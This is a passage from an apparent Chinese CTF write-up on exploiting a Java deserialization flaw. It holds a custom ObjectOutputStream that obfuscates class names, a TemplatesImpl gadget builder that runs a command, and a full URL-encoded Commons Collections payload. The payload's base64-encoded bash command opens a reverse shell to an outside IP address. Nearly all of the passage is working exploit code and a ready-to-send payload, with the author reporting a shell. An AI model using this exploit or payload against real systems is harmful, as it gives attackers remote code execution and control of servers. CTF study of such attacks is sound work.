                flags |= ObjectStreamConstants.SC_BLOCK_DATA;
            }
        } else if (serializable) {
            flags |= ObjectStreamConstants.SC_SERIALIZABLE;
        }
        if (hasWriteObjectData) {
            flags |= ObjectStreamConstants.SC_WRITE_METHOD;
        }
        if (isEnum) {
            flags |= ObjectStreamConstants.SC_ENUM;
        }
        writeByte(flags);

        writeShort(fields.length);
        for (int i = 0; i < fields.length; i++) {
            ObjectStreamField f = fields[i];
            writeByte(f.getTypeCode());
            writeUTF(f.getName());
            if (!f.isPrimitive()) {
                invoke(this, "writeTypeString", f.getTypeString());
            }
        }
    }

    public static void invoke(Object object, String methodName, Object... args) {
        Method writeTypeString = null;
        try {
            writeTypeString = ObjectOutputStream.class.getDeclaredMethod(methodName, String.class);
            writeTypeString.setAccessible(true);
            try {
                writeTypeString.invoke(object, args);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            } catch (InvocationTargetException e) {
                throw new RuntimeException(e);
            }
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        }
    }

    public static Object getFieldValue(Object object, String fieldName) {
        Class<?> clazz = object.getClass();
        Field field = null;
        Object value = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
            value = field.get(object);
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return value;
    }
}
package gdufs.challenge.web;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Utils {
    public static String getTemplatesImplBase64() throws Exception{
        return new String(Base64.getEncoder().encode(GenerateEvil()));
    }

    public static byte[] GenerateEvil() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        ctClass.addConstructor(constructor);
        return ctClass.toBytecode();
    }

    public static void SetValue(Object obj, String name, Object value) throws Exception {
        Class clz = obj.getClass();
        Field nameField = clz.getDeclaredField(name);
        nameField.setAccessible(true);
        nameField.set(obj, value);
    }
    public static TemplatesImpl getTemplatesImpl() throws Exception{
        byte[][] bytes = new byte[][]{GenerateEvil()};
        TemplatesImpl templates = new TemplatesImpl();
        SetValue(templates, "_bytecodes", bytes);
        SetValue(templates, "_name", "aaa");
        SetValue(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }
    public static String Serialize(Object o) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(o);
        String str = new String(Base64.getEncoder().encode(baos.toByteArray()));
        return str;
    }
    public static void UnSerialize(String str) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(str)));
        objectInputStream.readObject();
    }
    public static String Base64_Encode(byte[] bytes) throws Exception{
        return new String(Base64.getEncoder().encode(bytes));
    }
    public static String Byte2Hex(byte[] bytes) throws Exception{
        StringBuilder builder = new StringBuilder();
        for(byte b: bytes){
            builder.append(String.format("%02X", b));
        }
        System.out.println(builder.toString());
        return builder.toString();
    }
    public static byte[] Hex2Byte(String hexString) {
        int len = hexString.length();
        byte[] data = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
                    + Character.digit(hexString.charAt(i+1), 16));
        }
        return data;
    }
}

payload url编码一下打过去就可以了

payload=rO0ABXNyADPggarggaHggbbggaHggK7ggbXggbTgganggazggK7ggYjggaHggbPggajggY3ggaHggbAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXNyAJzgga%2FggbLggafggK7ggaHggbDggaHggaPggajggaXggK7ggaPgga%2Fgga3gga3gga%2Fgga7ggbPggK7ggaPgga%2FggazggazggaXggaPggbTggangga%2Fgga7ggbPggK7ggavggaXggbnggbbggaHggazggbXggaXggK7ggZTgganggaXggaTggY3ggaHggbDggYXgga7ggbTggbLggbmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAfuCBr%2BCBsuCBp%2BCAruCBoeCBsOCBoeCBo%2BCBqOCBpeCAruCBo%2BCBr%2BCBreCBreCBr%2BCBruCBs%2BCAruCBo%2BCBr%2BCBrOCBrOCBpeCBo%2BCBtOCBqeCBr%2BCBruCBs%2BCAruCBreCBoeCBsOCAruCBjOCBoeCBuuCBueCBjeCBoeCBsG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGo4IGh4IGp4IGu4IGl4IGk4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgCH4IGb4IGM4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGy4IC7vVYq8dg0GJkCAAB4cAAAAARzcgCx4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGD4IGv4IGu4IGz4IG04IGh4IGu4IG04IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAM%2BCBquCBoeCBtuCBoeCAruCBrOCBoeCBruCBp%2BCAruCBkuCBteCBruCBtOCBqeCBreCBpQAAAAAAAAAAAAAAeHBzcgCu4IGv4IGy4IGn4ICu4IGh4IGw4IGh4IGj4IGo4IGl4ICu4IGj4IGv4IGt4IGt4IGv4IGu4IGz4ICu4IGj4IGv4IGs4IGs4IGl4IGj4IG04IGp4IGv4IGu4IGz4ICu4IGm4IG14IGu4IGj4IG04IGv4IGy4IGz4ICu4IGJ4IGu4IG24IGv4IGr4IGl4IGy4IGU4IGy4IGh4IGu4IGz4IGm4IGv4IGy4IGt4IGl4IGyh%2Bj%2Fa3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgA54IGb4IGM4IGq4IGh4IG24IGh4ICu4IGs4IGh4IGu4IGn4ICu4IGP4IGi4IGq4IGl4IGj4IG04IC7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1lcHQACWdldE1ldGhvZHVyADbggZvggYzggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggYPggazggaHggbPggbPggLurFteuy81amQIAAHhwAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggZPggbTggbLggangga7ggaeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnBwdAAGaW52b2tldXEAfgAcAAAAAnZyADDggarggaHggbbggaHggK7ggazggaHgga7ggafggK7ggY%2FggaLggarggaXggaPggbQAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAXWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmk5a1pYWXZkR053THpFd05pNDFNaTQ1TkM0eU15OHlNek16SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB%2BABwAAAABcQB%2BAB9zcQB%2BAAA%2FQAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng%3D

在这里插入图片描述

shell弹过来了,flag is in env

在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值